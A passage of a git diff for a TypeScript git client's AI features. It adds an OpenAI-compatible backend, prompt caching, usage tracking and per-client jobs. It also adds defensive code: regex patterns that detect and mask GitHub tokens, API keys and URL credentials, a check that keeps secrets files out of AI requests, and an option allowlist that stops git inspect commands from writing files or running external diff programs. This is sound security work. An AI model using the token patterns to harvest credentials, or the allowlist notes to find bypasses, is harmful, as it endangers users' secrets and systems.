'@anthropic-ai/sdk'; import { tmpdir } from 'node:os'; -import type { EffortLevel } from '@shared/types'; +import type { AiUsage, EffortLevel } from '@shared/types'; +import { scrubSecrets } from '@shared/secrets'; import { ExecError, exec } from '../exec'; import { log } from '../logger'; export interface AiRequest { system: string; prompt: string; + /** Leading part of the user message that is identical across a run's requests (e.g. the PR context of a per-file review). Sent first as a cache-marked block; the full text is `sharedPrompt + '\n\n' + prompt`. */ + sharedPrompt?: string; schema: Record; model: string; effort: EffortLevel; @@ -17,10 +20,12 @@ export interface AiRequest { export interface AiResponse { json: unknown; model: string; + /** Token usage as reported by the backend; absent when it reports none. */ + usage?: AiUsage; } export interface AiBackend { - readonly name: 'anthropic' | 'claude-cli'; + readonly name: 'anthropic' | 'claude-cli' | 'openai-compatible'; complete(req: AiRequest): Promise; } @@ -31,7 +36,19 @@ export class AiError extends Error { } } -function extractJson(text: string): unknown { +/** + * Masks known secret shapes in the user-message text before it leaves the machine. Used for every + * read-only feature; never for the conflict resolver, whose output is written back to the file and + * so must see (and return) the real content. + */ +export function withScrubbing(backend: AiBackend): AiBackend { + return { + name: backend.name, + complete: (req) => backend.complete({ ...req, prompt: scrubSecrets(req.prompt), sharedPrompt: req.sharedPrompt === undefined ? undefined : scrubSecrets(req.sharedPrompt) }), + }; +} + +export function extractJson(text: string): unknown { const trimmed = text.trim(); try { return JSON.parse(trimmed); @@ -55,6 +72,32 @@ function supportsServerFallbacks(model: string): boolean { return /claude-(opus-5|fable|mythos)/i.test(model); } +/** Request body for the Anthropic API. The system prompt and the shared leading prompt block carry `cache_control` so repeated calls of one run read them from the prompt cache. */ +export function buildAnthropicParams(req: AiRequest) { + const adaptive = supportsAdaptiveThinking(req.model); + const fallbacks = supportsServerFallbacks(req.model) ? { betas: ['server-side-fallback-2026-07-01' as const], fallbacks: 'default' as const } : {}; + const thinking = adaptive ? { thinking: { type: 'adaptive' as const } } : {}; + const cache = { type: 'ephemeral' as const }; + const content = req.sharedPrompt + ? [ + { type: 'text' as const, text: `${req.sharedPrompt}\n\n`, cache_control: cache }, + { type: 'text' as const, text: req.prompt }, + ] + : req.prompt; + return { + model: req.model, + max_tokens: 64000, + system: [{ type: 'text' as const, text: req.system, cache_control: cache }], + messages: [{ role: 'user' as const, content }], + output_config: { + format: { type: 'json_schema' as const, schema: req.schema }, + ...(adaptive ? { effort: req.effort } : {}), + }, + ...thinking, + ...fallbacks, + }; +} + /** * Anthropic API backend. Uses streaming so long resolutions never hit HTTP * timeouts, structured JSON output so the result parses reliably, and the @@ -69,38 +112,21 @@ export class AnthropicBackend implements AiBackend { async complete(req: AiRequest): Promise { const client = new Anthropic({ apiKey: this.apiKey ?? undefined, timeout: 20 * 60 * 1000, maxRetries: 2 }); req.onProgress?.('Contacting Claude…'); - const adaptive = supportsAdaptiveThinking(req.model); - const fallbacks = supportsServerFallbacks(req.model) ? { betas: ['server-side-fallback-2026-07-01' as const], fallbacks: 'default' as const } : {}; - const thinking = adaptive ? { thinking: { type: 'adaptive' as const } } : {}; try { - const stream = client.beta.messages.stream( - { - model: req.model, - max_tokens: 64000, - system: req.system, - messages: [{ role: 'user', content: req.prompt }], - output_config: { - format: { type: 'json_schema', schema: req.schema }, - ...(adaptive ? { effort: req.effort } : {}), - }, - ...thinking, - ...fallbacks, - }, - { signal: req.signal }, - ); + const stream = client.beta.messages.stream(buildAnthropicParams(req), { signal: req.signal }); let started = false; stream.on('text', () => { if (!started) { started = true; - req.onProgress?.('Writing resolution…'); + req.onProgress?.('Writing response…'); } }); const message = await stream.finalMessage(); if (message.stop_reason === 'refusal') { const category = message.stop_details?.type === 'refusal' ? message.stop_details.category : null; - throw new AiError(`Claude declined to resolve this file${category ? ` (${category})` : ''}. Resolve it manually or try a different model.`, 'refusal'); + throw new AiError(`Claude declined this request${category ? ` (${category})` : ''}. Try a different model or adjust the request.`, 'refusal'); } - if (message.stop_reason === 'max_tokens') throw new AiError('The response was too long and was cut off. Try resolving fewer conflicts at once.', 'truncated'); + if (message.stop_reason === 'max_tokens') throw new AiError('The response was too long and was cut off. Try again with a smaller selection.', 'truncated'); const text = message.content .filter((b): b is Anthropic.Beta.Messages.BetaTextBlock => b.type === 'text') .map((b) => b.text) @@ -108,7 +134,9 @@ export class AnthropicBackend implements AiBackend { const servedBy = message.model; const fellBack = (message.usage.iterations ?? []).some((it) => it.type === 'fallback_message'); if (fellBack) log.info(`AI request served by fallback model ${servedBy}`); - return { json: extractJson(text), model: servedBy }; + const u = message.usage; + const usage: AiUsage = { inputTokens: u.input_tokens, outputTokens: u.output_tokens, cacheReadTokens: u.cache_read_input_tokens ?? 0, cacheWriteTokens: u.cache_creation_input_tokens ?? 0, costUsd: null }; + return { json: extractJson(text), model: servedBy, usage }; } catch (err) { if (err instanceof AiError) throw err; if (req.signal?.aborted) throw new AiError('Cancelled', 'cancelled'); @@ -141,9 +169,9 @@ export class ClaudeCliBackend implements AiBackend { delete env.CLAUDECODE; delete env.CLAUDE_CODE_ENTRYPOINT; try { - const res = await exec(this.cliPath, args, { cwd: tmpdir(), env, stdin: req.prompt, signal: req.signal, timeoutMs: 20 * 60 * 1000, okExitCodes: [1] }); + const res = await exec(this.cliPath, args, { cwd: tmpdir(), env, stdin: req.sharedPrompt ? `${req.sharedPrompt}\n\n${req.prompt}` : req.prompt, signal: req.signal, timeoutMs: 20 * 60 * 1000, okExitCodes: [1] }); const text = res.stdout.trim(); - let parsed: { is_error?: boolean; result?: string; structured_output?: unknown; subtype?: string } | null = null; + let parsed: { is_error?: boolean; result?: string; structured_output?: unknown; subtype?: string; total_cost_usd?: number; usage?: { input_tokens?: number; output_tokens?: number; cache_read_input_tokens?: number; cache_creation_input_tokens?: number } } | null = null; try { parsed = JSON.parse(text.slice(text.indexOf('{'))); } catch { @@ -157,7 +185,9 @@ export class ClaudeCliBackend implements AiBackend { } const json = parsed.structured_output ?? (parsed.result ? extractJson(parsed.result) : null); if (json === null || json === undefined) throw new AiError('Claude Code returned no structured output.', 'invalid-output'); - return { json, model: req.model }; + const u = parsed.usage; + const usage: AiUsage | undefined = u || parsed.total_cost_usd !== undefined ? { inputTokens: u?.input_tokens ?? 0, outputTokens: u?.output_tokens ?? 0, cacheReadTokens: u?.cache_read_input_tokens ?? 0, cacheWriteTokens: u?.cache_creation_input_tokens ?? 0, costUsd: parsed.total_cost_usd ?? null } : undefined; + return { json, model: req.model, usage }; } catch (err) { if (err instanceof AiError) throw err; if (req.signal?.aborted) throw new AiError('Cancelled', 'cancelled'); diff --git a/src/main/ai/error-explain-core.ts b/src/main/ai/error-explain-core.ts index 464a6b2..fd71245 100644 --- a/src/main/ai/error-explain-core.ts +++ b/src/main/ai/error-explain-core.ts @@ -8,6 +8,7 @@ * error-explain.ts. */ import type { ErrorExplanation, ErrorFix, FixRisk, RepositoryStatus } from '@shared/types'; +import { scrubSecrets } from '@shared/secrets'; import { compareRisk, getFixAction, riskMax } from './fixActions'; // --------------------------------------------------------------------------- @@ -17,28 +18,6 @@ import { compareRisk, getFixAction, riskMax } from './fixActions'; /** Streams sent to the model are cut to their last N characters, after scrubbing. */ export const DIAGNOSTIC_TAIL_LIMIT = 4000; -/** Order matters only in that every pattern is applied; they do not overlap. */ -const SECRET_PATTERNS: readonly [RegExp, string][] = [ - [/\bghp_[A-Za-z0-9]{20,}\b/g, 'ghp_***'], - [/\bgithub_pat_[A-Za-z0-9_]{20,}\b/g, 'github_pat_***'], - [/\bgho_[A-Za-z0-9]{20,}\b/g, 'gho_***'], - [/\bghu_[A-Za-z0-9]{20,}\b/g, 'ghu_***'], - [/\bghs_[A-Za-z0-9]{20,}\b/g, 'ghs_***'], - [/\bghr_[A-Za-z0-9]{20,}\b/g, 'ghr_***'], - [/\bsk-ant-[A-Za-z0-9_-]{10,}\b/g, 'sk-ant-***'], - [/\bBearer\s+\S+/gi, 'Bearer ***'], - [/\bANTHROPIC_API_KEY=\S+/g, 'ANTHROPIC_API_KEY=***'], - // URL userinfo, any scheme: https://user:pass@host, ssh://user:pass@host, ... - [/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/\s:@]+:[^/\s:@]+@/g, '$1***:***@'], -]; - -/** Masks known secret shapes (GitHub tokens, bearer tokens, URL userinfo, Anthropic API keys). Pure string transform; never throws. */ -export function scrubSecrets(text: string): string { - let out = text; - for (const [re, replacement] of SECRET_PATTERNS) out = out.replace(re, replacement); - return out; -} - /** Keeps only the last `max` characters, without splitting a multi-byte/surrogate pair at the boundary. */ export function tailText(text: string, max: number = DIAGNOSTIC_TAIL_LIMIT): string { if (text.length <= max) return text; diff --git a/src/main/ai/error-explain.ts b/src/main/ai/error-explain.ts index ea41af5..b512c77 100644 --- a/src/main/ai/error-explain.ts +++ b/src/main/ai/error-explain.ts @@ -11,6 +11,7 @@ import { rm, stat } from 'node:fs/promises'; import { join } from 'node:path'; import type { ErrorExplanation, GitErrorInfo } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { exec } from '../exec'; import { FIX_ACTIONS } from './fixActions'; import type { GitClient } from '../git/git'; @@ -20,7 +21,9 @@ import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; +import { scrubSecrets } from '@shared/secrets'; import { buildErrorExplainPrompt, ERROR_EXPLAIN_SCHEMA, ERROR_EXPLAIN_SYSTEM_PROMPT, type ErrorExplainRemote } from './prompts'; import { checkLockFileGuard, extractRemoteHost, scrubAndTail, validateErrorExplanation } from './error-explain-core'; @@ -28,24 +31,22 @@ const REFLOG_LINES = 10; const MAX_REMOTES = 10; export class ErrorExplainService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while an explanation request is in flight; used by the update install gate alongside the other AI services. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } async explainError(repoPath: string | null, error: GitErrorInfo, retryable: boolean): Promise { - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); - this.controller = controller; + const { backend, settings } = await createBackend(this.store, this.tools, 'errorExplain'); + const controller = this.jobs.start(); try { const hasRepo = repoPath !== null; const status = repoPath ? await getStatus(this.git, repoPath).catch(() => null) : null; @@ -66,7 +67,7 @@ export class ErrorExplainService { const prompt = buildErrorExplainPrompt({ code: error.code, - command: error.command, + command: scrubSecrets(error.command), exitCode: error.exitCode, stderrTail: scrubAndTail(error.stderr), stdoutTail: scrubAndTail(error.stdout), @@ -88,7 +89,7 @@ export class ErrorExplainService { system: ERROR_EXPLAIN_SYSTEM_PROMPT, prompt, schema: ERROR_EXPLAIN_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'errorExplain'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal: controller.signal, }); @@ -97,7 +98,7 @@ export class ErrorExplainService { log.info(`AI error explanation for code "${error.code}" via ${backend.name}/${explanation.model}: ${explanation.fixes.length} fix(es) kept`); return explanation; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } diff --git a/src/main/ai/explain.ts b/src/main/ai/explain.ts index 1e4725f..0c5e814 100644 --- a/src/main/ai/explain.ts +++ b/src/main/ai/explain.ts @@ -7,6 +7,8 @@ */ import type { DiffOptions } from '@shared/ipc'; import type { CommitFile, ExplainFollowUp, ExplainSource, ExplainTarget, Explanation, WorkingFile } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; +import { secretFileReason } from '@shared/secrets'; import { EXPLAIN_FOLLOWUP_LIMIT } from '@shared/types'; import { parseUnifiedDiff } from '@shared/diff/parse'; import { getCommitFileDiff, getStashFileDiff, getWorkingDiff } from '../git/diff'; @@ -17,6 +19,7 @@ import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; import { buildExplainFollowUpPrompt, buildExplainPrompt, EXPLAIN_FOLLOWUP_SCHEMA, EXPLAIN_FOLLOWUP_SYSTEM_PROMPT, EXPLAIN_SCHEMA, EXPLAIN_SYSTEM_PROMPT, type ExplainFilePromptInput } from './prompts'; import { buildRangeContext, explainCacheKey, indexNewSideLines, isVolatileExplainTarget, markSelectedRange, splitPatchByFile, validateExplanation, validateFollowUpAnswer } from './explain-core'; @@ -42,19 +45,18 @@ interface PromptResult { } export class ExplainService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); private cache = new Map>(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while an explanation or follow-up is in flight; used by the update install gate alongside the resolver/review services. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } private cacheFor(repoPath: string): Map { @@ -79,9 +81,8 @@ export class ExplainService { const volatile = isVolatileExplainTarget(target); if (cached && !volatile) return cached.explanation; - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); - this.controller = controller; + const { backend, settings } = await createBackend(this.store, this.tools, 'explain'); + const controller = this.jobs.start(); try { const built = await this.buildPrompt(repoPath, target); // The prompt embeds the file's content, so an unchanged working tree @@ -92,7 +93,7 @@ export class ExplainService { system: EXPLAIN_SYSTEM_PROMPT, prompt: built.prompt, schema: EXPLAIN_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'explain'), effort: settings.effort, signal: controller.signal, }); @@ -102,7 +103,7 @@ export class ExplainService { log.info(`AI explain (${target.kind}) via ${backend.name}/${explanation.model}: ${droppedReferences} reference(s) dropped${built.truncated ? ', input truncated' : ''}`); return explanation; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } @@ -120,15 +121,14 @@ export class ExplainService { if (!entry) throw new AiError('Could not rebuild the original explanation context. Explain the target again.', 'other'); } - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); - this.controller = controller; + const { backend, settings } = await createBackend(this.store, this.tools, 'explain'); + const controller = this.jobs.start(); try { const response = await backend.complete({ system: EXPLAIN_FOLLOWUP_SYSTEM_PROMPT, prompt: buildExplainFollowUpPrompt(entry.basePrompt, history, trimmedQuestion), schema: EXPLAIN_FOLLOWUP_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'explain'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal: controller.signal, }); @@ -136,7 +136,7 @@ export class ExplainService { if (!answer) throw new AiError('The model returned an empty answer.', 'invalid-output'); return answer; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } @@ -162,6 +162,12 @@ export class ExplainService { const fileInputs: ExplainFilePromptInput[] = []; for (const file of files) { const recentHistory = await getRecentFileHistory(this.git, repoPath, sha, file.path); + const secret = secretFileReason(file.path); + if (secret) { + knownPaths.set(file.path, new Set()); + fileInputs.push({ path: file.path, oldPath: file.oldPath, status: file.status, annotatedDiff: `(not sent: ${secret})`, recentHistory: [] }); + continue; + } if (omittedSet.has(file.path)) { knownPaths.set(file.path, new Set()); fileInputs.push({ path: file.path, oldPath: file.oldPath, status: file.status, annotatedDiff: '(omitted: input size limit reached)', recentHistory }); @@ -190,6 +196,8 @@ export class ExplainService { } private async resolveFileDiff(repoPath: string, source: ExplainSource, path: string) { + const secret = secretFileReason(path); + if (secret) throw new AiError(`${path} looks like a secrets file (${secret}), so it is never sent to AI.`, 'other'); if (source.kind === 'commit') { const commit = await getCommit(this.git, repoPath, source.sha); const files = await getCommitFiles(this.git, repoPath, source.sha, commit.parents); diff --git a/src/main/ai/nlPalette.ts b/src/main/ai/nlPalette.ts index aed03b0..2052d8f 100644 --- a/src/main/ai/nlPalette.ts +++ b/src/main/ai/nlPalette.ts @@ -8,6 +8,7 @@ */ import type { ApiMethods } from '@shared/ipc'; import type { GitErrorInfo, NlPlan, NlProgressEvent, NlRisk, NlRunResult, NlStep, OperationKind } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { getBranches } from '../git/branches'; import { GitError, toGitErrorInfo, type GitClient } from '../git/git'; import { getRemotes, getStashes, getTags } from '../git/operations'; @@ -18,6 +19,7 @@ import type { ToolLocator } from '../tools'; import { AiError } from './backends'; import { evaluatePlan, type NlPolicyContext, type RawNlPlan, type RawNlStep } from './nlPolicy'; import { buildNlPalettePrompt, NL_PALETTE_SCHEMA, NL_PALETTE_SYSTEM_PROMPT, type NlPalettePromptContext } from './prompts'; +import { ClientJobs, currentClient } from '../core/client-context'; import { createBackend } from './provider'; const RISKS: NlRisk[] = ['safe', 'changes-history', 'discards-work', 'touches-remote']; @@ -164,43 +166,42 @@ const EXECUTABLE_ACTIONS = new Set([ ]); export class NlPaletteService { - private controller: AbortController | null = null; - /** One request (plan or run) at a time per repository, per spec.md/design.md. */ + private readonly jobs = new ClientJobs(); + /** One request (plan or run) at a time per client and repository; another client on the same repository is independent. */ private busy = new Set(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } isActive(): boolean { - return this.controller !== null || this.busy.size > 0; + return this.jobs.isActive() || this.busy.size > 0; } private async withBusy(repoPath: string, fn: () => Promise): Promise { - if (this.busy.has(repoPath)) throw new AiError('Another command palette request is already running for this repository.', 'other'); - this.busy.add(repoPath); + const key = `${currentClient()}\0${repoPath}`; + if (this.busy.has(key)) throw new AiError('Another command palette request is already running for this repository.', 'other'); + this.busy.add(key); try { return await fn(); } finally { - this.busy.delete(repoPath); + this.busy.delete(key); } } async plan(repoPath: string, request: string, priorQuestion: string | null, answer: string | null): Promise { return this.withBusy(repoPath, async () => { - const { backend, settings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); - this.controller = controller; + const { backend, settings } = await createBackend(this.store, this.tools, 'nlPalette'); + const controller = this.jobs.start(); try { const { policy, prompt } = await gatherContext(this.git, repoPath); const response = await backend.complete({ system: NL_PALETTE_SYSTEM_PROMPT, prompt: buildNlPalettePrompt({ ...prompt, request, priorQuestion, answer }), schema: NL_PALETTE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'nlPalette'), effort: settings.effort, signal: controller.signal, }); @@ -209,7 +210,7 @@ export class NlPaletteService { const clarifyingQuestion = evaluated.tooManySteps ? 'That request needs more than 8 steps; try splitting it into smaller requests.' : evaluated.clarifyingQuestion; return { id: newId(), request, steps: evaluated.steps, clarifyingQuestion, model: response.model }; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } }); } diff --git a/src/main/ai/nlPolicy.ts b/src/main/ai/nlPolicy.ts index 5b2fd42..5a73d20 100644 --- a/src/main/ai/nlPolicy.ts +++ b/src/main/ai/nlPolicy.ts @@ -225,6 +225,116 @@ function firstUnknownFlag(flags: string[], allowed: readonly string[]): string | return flags.find((f) => !allowed.includes(f)) ?? null; } +/** + * Per-command option allowlist for the inspect families. The palette runs these + * with no confirmation, so an option is accepted only when listed here with its + * exact spelling -- git also accepts unambiguous abbreviations of long options + * (`--outp=/abs`), which a denylist cannot enumerate. + */ +interface OptionSpec { + /** Exact option name -> null (takes no value) or a value rule. `optional`: bare flag allowed; `sep`: value may be the next token. */ + flags: Record; + /** Whole-token spellings such as `-n5` or `-3`. */ + tokens?: RegExp[]; +} + +const NUM = /^\d+$/; +const ANY = /^.*$/; +const SAFE_WORD = /^[\w.:%+ ,/-]+$/; +const NO_EXTERNAL_DIFF = ['--no-ext-diff', '--no-textconv']; + +const noValue = (...names: string[]): Record => Object.fromEntries(names.map((n) => [n, null])); + +const DIFF_OPTIONS: OptionSpec = { + flags: { + ...noValue('-p', '--patch', '-s', '--no-patch', '--raw', '--numstat', '--shortstat', '--summary', '--name-only', '--name-status', '--check', '--no-color', '--minimal', '--patience', '--histogram', '--no-renames', '-w', '--ignore-all-space', '-b', '--ignore-space-change', '--ignore-space-at-eol', '--ignore-blank-lines', '--cached', '--staged', '--no-ext-diff', '--no-textconv', '--full-index', '--binary', '--exit-code', '--quiet', '--compact-summary', '-R', '-a', '--text', '-M'), + '--stat': { re: /^\d+(,\d+){0,2}$/, optional: true }, + '--color': { re: SAFE_WORD, optional: true }, + '--find-renames': { re: /^\d+%?$/, optional: true }, + '--unified': { re: NUM }, + '--diff-filter': { re: /^[A-Za-z*]+$/ }, + '--word-diff': { re: /^(color|plain|porcelain|none)$/, optional: true }, + }, + tokens: [/^-[UM]\d+%?$/, /^-[SG].+$/], +}; + +const SHOW_OPTIONS: OptionSpec = { + flags: { + ...DIFF_OPTIONS.flags, + ...noValue('--oneline', '--abbrev-commit', '--no-abbrev-commit', '--no-decorate'), + '--format': { re: ANY }, + '--pretty': { re: ANY, optional: true }, + '--abbrev': { re: NUM, optional: true }, + '--date': { re: SAFE_WORD }, + '--decorate': { re: /^(short|full|auto|no)$/, optional: true }, + }, + tokens: DIFF_OPTIONS.tokens, +}; + +const LOG_OPTIONS: OptionSpec = { + flags: { + ...SHOW_OPTIONS.flags, + ...noValue('--graph', '--all', '--branches', '--tags', '--remotes', '--first-parent', '--merges', '--no-merges', '--reverse', '--follow', '--topo-order', '--date-order', '--author-date-order', '--left-right', '--cherry-pick', '--cherry-mark', '--ancestry-path', '--simplify-by-decoration', '--source', '--parents', '--all-match', '--invert-grep', '-i', '--regexp-ignore-case', '-E', '--extended-regexp', '-F', '--fixed-strings', '-g', '--walk-reflogs'), + '-n': { re: NUM, sep: true }, + '--max-count': { re: NUM, sep: true }, + '--skip': { re: NUM }, + '--since': { re: ANY }, '--until': { re: ANY }, '--after': { re: ANY }, '--before': { re: ANY }, + '--author': { re: ANY }, '--committer': { re: ANY }, '--grep': { re: ANY }, + }, + tokens: [...(DIFF_OPTIONS.tokens ?? []), /^-n\d+$/, /^-\d+$/], +}; + +const STATUS_OPTIONS: OptionSpec = { + flags: { + ...noValue('-s', '--short', '-b', '--branch', '-sb', '--long', '--show-stash', '--ahead-behind', '--no-ahead-behind', '-z', '--renames', '--no-renames'), + '--porcelain': { re: /^v[12]$/, optional: true }, + '--untracked-files': { re: /^(no|normal|all)$/, optional: true }, + '--ignored': { re: /^(traditional|matching|no)$/, optional: true }, + }, + tokens: [/^-u(no|normal|all)?$/], +}; + +const REV_PARSE_OPTIONS: OptionSpec = { + flags: { + ...noValue('--verify', '-q', '--quiet', '--show-toplevel', '--is-inside-work-tree', '--is-bare-repository', '--is-shallow-repository', '--show-prefix', '--show-cdup', '--symbolic-full-name', '--symbolic', '--branches', '--tags', '--remotes', '--all'), + '--short': { re: NUM, optional: true }, + '--abbrev-ref': { re: /^(strict|loose)$/, optional: true }, + }, +}; + +const INSPECT_OPTIONS: Record = { status: STATUS_OPTIONS, log: LOG_OPTIONS, show: SHOW_OPTIONS, diff: DIFF_OPTIONS, 'rev-parse': REV_PARSE_OPTIONS }; + +/** The first option token in `argv` (before any `--`) that `spec` does not allow, or null. */ +function firstDisallowedOption(argv: string[], spec: OptionSpec): string | null { + for (let i = 0; i < argv.length; i++) { + const a = argv[i]; + if (a === '--') return null; + if (!a.startsWith('-') || spec.tokens?.some((re) => re.test(a))) continue; + const eq = a.startsWith('--') ? a.indexOf('=') : -1; + const name = eq < 0 ? a : a.slice(0, eq); + let value = eq < 0 ? undefined : a.slice(eq + 1); + if (!Object.hasOwn(spec.flags, name)) return a; + const rule = spec.flags[name]; + if (rule === null) { + if (value !== undefined) return a; + continue; + } + if (value === undefined) { + if (rule.optional) continue; + if (!rule.sep || argv[i + 1] === undefined) return a; + value = argv[++i]; + } + if (!rule.re.test(value)) return a; + } + return null; +} + +function inspectResult(label: string, args: string[], spec: OptionSpec, mapped: string[]): MatchResult { + const bad = firstDisallowedOption(args, spec); + if (bad) return { family: 'inspect', risk: 'safe', mappedAction: null, mappedArgs: [], refusalReason: `The option "${bad}" is not in the allowed set for "git ${label}".` }; + return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [mapped] }; +} + // ---- inspect -------------------------------------------------------------- const INSPECT_COMMANDS = new Set(['status', 'log', 'show', 'diff', 'rev-parse']); @@ -253,7 +363,9 @@ function matchInspect(cmd: string, rest: string[]): MatchResult | null { // Inspect commands read only: refuse anything that could reach outside the repository. if (rest.some(hasUnsafePathToken)) return null; if (INSPECT_COMMANDS.has(cmd)) { - return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [[cmd, ...rest]] }; + // Diff-producing commands never run a configured external diff/textconv program, whatever the repo's config says. + const diffs = cmd === 'log' || cmd === 'show' || cmd === 'diff'; + return inspectResult(cmd, rest, INSPECT_OPTIONS[cmd], [cmd, ...(diffs ? NO_EXTERNAL_DIFF : []), ...rest]); } if (cmd === 'branch') { // `git branch` reaches git verbatim via the tryRun sentinel, and `readOnly` @@ -270,10 +382,11 @@ function matchInspect(cmd: string, rest: string[]): MatchResult | null { return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [['branch', ...rest]] }; } if (cmd === 'stash' && rest[0] === 'list') { - return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [['stash', 'list', ...rest.slice(1)]] }; + return inspectResult('stash list', rest.slice(1), LOG_OPTIONS, ['stash', 'list', ...NO_EXTERNAL_DIFF, ...rest.slice(1)]); } if (cmd === 'reflog' && (rest.length === 0 || rest[0] === 'show')) { - return { family: 'inspect', risk: 'safe', mappedAction: 'git.tryRun', mappedArgs: [['reflog', ...rest]] }; + const args = rest.slice(rest[0] === 'show' ? 1 : 0); + return inspectResult('reflog', args, LOG_OPTIONS, ['reflog', 'show', ...NO_EXTERNAL_DIFF, ...args]); } return null; } diff --git a/src/main/ai/openai-backend.ts b/src/main/ai/openai-backend.ts new file mode 100644 index 0000000..f3973b4 --- /dev/null +++ b/src/main/ai/openai-backend.ts @@ -0,0 +1,99 @@ +import { scrubSecrets } from '@shared/secrets'; +import { AiError, extractJson, type AiBackend, type AiRequest, type AiResponse } from './backends'; + +/** A single completion on a local model can be slow; this bounds a hung server without cutting off a legitimate long answer. */ +const REQUEST_TIMEOUT_MS = 10 * 60 * 1000; + +interface ChatCompletion { + model?: string; + choices?: { message?: { content?: string | null; refusal?: string | null }; finish_reason?: string | null }[]; + usage?: { prompt_tokens?: number; completion_tokens?: number; prompt_tokens_details?: { cached_tokens?: number } }; + error?: { message?: string }; +} + +/** + * Backend for any server that speaks OpenAI's `POST {base}/chat/completions` + * (OpenAI, Azure-compatible gateways, Ollama, LM Studio, vLLM, OpenRouter, …). + * Asks for strict `json_schema` output; servers that reject that response + * format get one retry with `json_object` and the schema spelled out in the + * system prompt. Effort is not sent: there is no portable equivalent. + */ +export class OpenAiBackend implements AiBackend { + readonly name = 'openai-compatible' as const; + + constructor( + private readonly baseUrl: string, + private readonly apiKey: string | null, + private readonly fetchImpl: typeof fetch = fetch, + ) {} + + async complete(req: AiRequest): Promise { + req.onProgress?.('Contacting the AI server…'); + const strict = await this.post(req, true); + const res = strict.status === 400 || strict.status === 422 ? await this.post(req, false) : strict; + return this.parse(req, res.status, res.body); + } + + private async post(req: AiRequest, useJsonSchema: boolean): Promise<{ status: number; body: string }> { + const system = useJsonSchema ? req.system : `${req.system}\n\nRespond with a single JSON object (no prose, no code fences) that conforms to this JSON Schema:\n${JSON.stringify(req.schema)}`; + const body = { + model: req.model, + messages: [ + { role: 'system', content: system }, + { role: 'user', content: req.sharedPrompt ? `${req.sharedPrompt}\n\n${req.prompt}` : req.prompt }, + ], + response_format: useJsonSchema ? { type: 'json_schema', json_schema: { name: 'response', strict: true, schema: req.schema } } : { type: 'json_object' }, + stream: false, + }; + const timeout = AbortSignal.timeout(REQUEST_TIMEOUT_MS); + try { + const res = await this.fetchImpl(`${this.baseUrl.replace(/\/+$/, '')}/chat/completions`, { + method: 'POST', + headers: { 'content-type': 'application/json', ...(this.apiKey ? { authorization: `Bearer ${this.apiKey}` } : {}) }, + body: JSON.stringify(body), + signal: req.signal ? AbortSignal.any([req.signal, timeout]) : timeout, + }); + return { status: res.status, body: await res.text() }; + } catch (err) { + if (req.signal?.aborted) throw new AiError('Cancelled', 'cancelled'); + if (timeout.aborted) throw new AiError('The AI server did not answer within 10 minutes.', 'network'); + throw new AiError(`Could not reach the AI server at ${this.baseUrl}: ${scrubSecrets((err as Error).message ?? String(err))}`, 'network'); + } + } + + private parse(req: AiRequest, status: number, text: string): AiResponse { + let data: ChatCompletion = {}; + try { + data = JSON.parse(text) as ChatCompletion; + } catch { + /* non-JSON body (HTML error page, proxy text): handled by the status / empty-choice checks below */ + } + if (status < 200 || status >= 300) { + const detail = scrubSecrets(data.error?.message ?? text).slice(0, 300); + if (status === 401 || status === 403) throw new AiError('The AI server rejected the API key. Check it in Options → AI.', 'auth'); + if (status === 404) throw new AiError(`The AI server returned 404 for model "${req.model}" or the endpoint. Check the base URL and model name in Options → AI.`, 'other'); + if (status === 429) throw new AiError('The AI server rate limit was reached. Wait a moment and try again.', 'rate-limit'); + throw new AiError(`The AI server returned HTTP ${status}${detail ? `: ${detail}` : ''}`, 'other'); + } + const choice = data.choices?.[0]; + if (choice?.message?.refusal || choice?.finish_reason === 'content_filter') throw new AiError(`The model declined this request${choice.message?.refusal ? `: ${choice.message.refusal}` : ''}.`, 'refusal'); + if (choice?.finish_reason === 'length') throw new AiError('The response was too long and was cut off. Try reviewing fewer files at once.', 'truncated'); + const content = choice?.message?.content; + if (!content) throw new AiError('The AI server returned an empty response. Check that the base URL points at an OpenAI-compatible /chat/completions endpoint.', 'invalid-output'); + let json: unknown; + try { + json = extractJson(content); + } catch (err) { + if (err instanceof AiError) throw err; + throw new AiError('The model 